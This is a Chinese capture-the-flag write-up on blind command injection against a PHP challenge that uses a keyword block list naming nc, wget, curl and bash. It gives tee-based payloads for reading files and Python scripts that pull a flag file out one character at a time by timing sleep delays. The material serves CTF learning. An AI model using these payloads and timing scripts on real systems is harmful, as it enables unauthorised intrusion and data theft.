命令注入之盲注
这实际上是有2道题,但是源码一样,权限不一样。
源码:
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
首先可以看到执行命令的函数是exec()
,这个函数并不会将命令执行后的结果回显出来,所以是一个无回显的命令注入,但是这里还ban了很多命令和符号,导致了我们想通过DNSLog和HTTP外带以及反弹shell都无法实现。
有写入权限
在有写入权限的情况下,事情就变得简单了,我们可以利用tee
命令
tee [OPTION]... [FILE]...
从标准输入读取数据并重定向到标准输出和文件。
example:
tee file1 file2 //将输入的内容覆盖到这两个文件里面
ls|tee 1.txt //将ls命令的输出显示并保存到1.txt文件中
我们可以通过这个命令将执行之后的结果写入到文件中,然后再访问这个文件即可。
payload:
?c=ls /|tee 1.txt //访问1.txt,发现有f149_15_h3r3文件
?c=cat /f149_15_h3r3|tee 2.txt //再访问2.txt即可
没有写入权限
没有写入权限就比较麻烦了,只能通过sleep
命令根据执行时间来进行盲注。
- 首先我们可以通过
sleep
命令根据返回的时间来判断是否存在命令执行漏洞。
?c=sleep 5
可以发现网页等待了5秒才返回结果。
- 利用shell编程的if判断语句配合awk以及cut命令来获取flag
- awk逐行获取数据
root@ubuntu:/# cat flag
hello
Flag{success!!}
root@ubuntu:/# cat flag | awk NR==1
hello
root@ubuntu:/# cat flag | awk NR==2
Flag{success!!}
- cut命令逐列获取单个字符
root@ubuntu:/# cat flag | awk NR==2 | cut -c 1
F
root@ubuntu:/# cat flag | awk NR==2 | cut -c 2
l
root@ubuntu:/# cat flag | awk NR==2 | cut -c 3
a
- 利用if语句来判断命令是否执行
root@ubuntu:/# if [ $(cat flag | awk NR==2 | cut -c 1) == F ];then echo "right!";fi
right!
root@ubuntu:/# if [ $(cat flag | awk NR==2 | cut -c 2) == l ];then echo "right!";fi
right!
root@ubuntu:/# if [ $(cat flag | awk NR==2 | cut -c 1) == F ];then sleep 2;fi
- 用命令
ls \
查看根目录来获取flag文件名
import requests
url = "xxxxx"
result = ""
for i in range(1,5):
for j in range(1,15):
#ascii码表
for k in range(32,128):
k=chr(k)
payload = "?c=" + f"if [ `ls / | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"
try:
requests.get(url=url+payload, timeout=(1.5,1.5))
except:
result = result + k
print(result)
break
result += " "
- 发现一个叫f149_15_h3r3的文件,改以下脚本
cat
一下
import requests
url = "http://b5337572-6281-43cd-8514-17eeabda6e3f.challenge.ctf.show:8080/"
result = ""
for i in range(1,5):
for j in range(1,60):
#ascii码表
for k in range(32,128):
k=chr(k)
payload = "?c=" + f"if [ `cat /f149_15_h3r3 | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"
try:
requests.get(url=url+payload, timeout=(1.5,1.5))
except:
result = result + k
print(result)
break
result += " "